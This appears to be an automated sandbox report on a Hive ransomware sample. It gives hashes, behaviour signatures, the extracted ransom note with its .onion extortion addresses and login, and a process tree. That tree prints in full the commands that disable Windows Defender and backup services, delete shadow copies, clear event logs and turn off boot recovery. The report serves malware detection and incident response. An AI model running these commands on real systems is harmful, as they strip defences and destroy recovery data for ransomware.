Overview

overview

10

Static

static

3

Trojan-Ran...42e.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    173s
  • max time network
    171s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/04/2025, 22:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Trojan-Ransom.Win32.Hive.co-36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e.7z

  • Size

    877KB

  • MD5

    8bfde4cd67622b8ac75e1f948214026f

  • SHA1

    df768ba61f479bd483122ef0deca7d8e977b0674

  • SHA256

    d4e8c5cd03b3bfe1743c7e0c82e6c9694e861b2f6907b4fbc11f83bb0623e55e

  • SHA512

    0fbc132e7503aa93f31e25cd07918d6ff2ad63155bc6053fdccf9e30c51e8be98dccac5b0ffb1fcc4006a5676db27631934613174f2c10846768545539b41c99

  • SSDEEP

    24576:TPPUy/Jx0qMJfHwUKh/ebyxTDlLu7XQPGu/gnm:TPMrTfoYmrC8PGu/+m

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\Lang\phLK_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 9PWEYLfHXq5k Password: Xtd8FiVNxskndowzYVqJ To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.vck99 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Downloads MZ/PE file 1 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 16 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 10 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Trojan-Ransom.Win32.Hive.co-36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1832
  • C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.co-36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e.exe
    "C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.co-36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e.exe"
    1⤵
    • Executes dropped EXE
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3416
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:5784
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5856
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1660
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4380
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2440
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5220
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:3080
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5332
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:1088
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5872
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3812
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5908
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:1932
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_2a6b6" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3936
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_2a6b6" /y
                      3⤵
                        PID:1592
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:6096
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2932
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5212
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5132
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1240
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4472
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1596
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_2a6b6" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2780
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:5764
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:3844
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        PID:3900
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:4044
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          2⤵
                            PID:1988
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:652
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1092
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3040
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3044
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:396
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1996
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:5644
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                2⤵
                                  PID:5932
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:5248
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:3912
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:440
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        2⤵
                                          PID:5452
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          2⤵
                                            PID:2912
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            2⤵
                                              PID:864
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              2⤵
                                                PID:4828
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                2⤵
                                                  PID:5208
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                  2⤵
                                                    PID:992
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:2276
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                      2⤵
                                                        PID:5272
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:556
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:3076
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:6076
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:2148
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:5464
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:880
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1056
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies security service
                                                              PID:5388
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:3008
                                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:4192
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl system
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:400
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl security
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2432
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl application
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3576
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe SHADOWCOPY /nointeractive
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1076
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe shadowcopy delete
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2816
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:2716
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} recoveryenabled no
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:2516
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                              2⤵
                                                                PID:3964
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                2⤵
                                                                  PID:2576
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Set-MpPreference -DisableIOAVProtection $true
                                                                    3⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:3944
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                  2⤵
                                                                    PID:4440
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:1792
                                                                  • C:\Windows\SYSTEM32\notepad.exe
                                                                    notepad.exe C:\phLK_HOW_TO_DECRYPT.txt
                                                                    2⤵
                                                                    • Opens file in notepad (likely ransom note)
                                                                    PID:384
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\Desktop\Trojan-Ransom.Win32.Hive.co-36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e.exe"
                                                                    2⤵
                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                    PID:1196
                                                                    • C:\Windows\system32\PING.EXE
                                                                      ping.exe -n 5 127.0.0.1
                                                                      3⤵
                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                      • Runs ping.exe
                                                                      PID:4548
                                                                • C:\Windows\system32\taskmgr.exe
                                                                  "C:\Windows\system32\taskmgr.exe" /4
                                                                  1⤵
                                                                  • Checks SCSI registry key(s)
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  • Suspicious use of SendNotifyMessage
                                                                  PID:1920
                                                                • C:\Windows\System32\rundll32.exe
                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                  1⤵
                                                                    PID:3296
                                                                  • C:\Windows\system32\NOTEPAD.EXE
                                                                    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Documents\phLK_HOW_TO_DECRYPT.txt
                                                                    1⤵
                                                                    • Opens file in notepad (likely ransom note)
                                                                    PID:516
                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                    1⤵
                                                                      PID:3892
                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                        2⤵
                                                                          PID:404
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                        1⤵
                                                                        • Checks processor information in registry
                                                                        • Enumerates system info in registry
                                                                        • Modifies data under HKEY_USERS
                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                        PID:6112
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x124,0x128,0x12c,0x70,0x130,0x7ffe3725dcf8,0x7ffe3725dd04,0x7ffe3725dd10
                                                                          2⤵
                                                                            PID:4360
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1976,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1968 /prefetch:2
                                                                            2⤵
                                                                              PID:3596
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2308,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2320 /prefetch:3
                                                                              2⤵
                                                                              • Downloads MZ/PE file
                                                                              PID:3036
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2440,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2456 /prefetch:8
                                                                              2⤵
                                                                                PID:2152
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3236,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3248 /prefetch:1
                                                                                2⤵
                                                                                  PID:3768
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3540,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3568 /prefetch:1
                                                                                  2⤵
                                                                                    PID:1912
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4568,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4564 /prefetch:2
                                                                                    2⤵
                                                                                      PID:1476
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4696,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3908 /prefetch:1
                                                                                      2⤵
                                                                                        PID:2500
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4708,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4928 /prefetch:1
                                                                                        2⤵
                                                                                          PID:5668
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5440,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5464 /prefetch:8
                                                                                          2⤵
                                                                                            PID:1400
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3248,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5852 /prefetch:8
                                                                                            2⤵
                                                                                              PID:4436
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5856,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5852 /prefetch:8
                                                                                              2⤵
                                                                                                PID:2928
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3660,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5848 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:2440
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5980,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6128 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:2924
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5964,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=5864 /prefetch:8
                                                                                                    2⤵
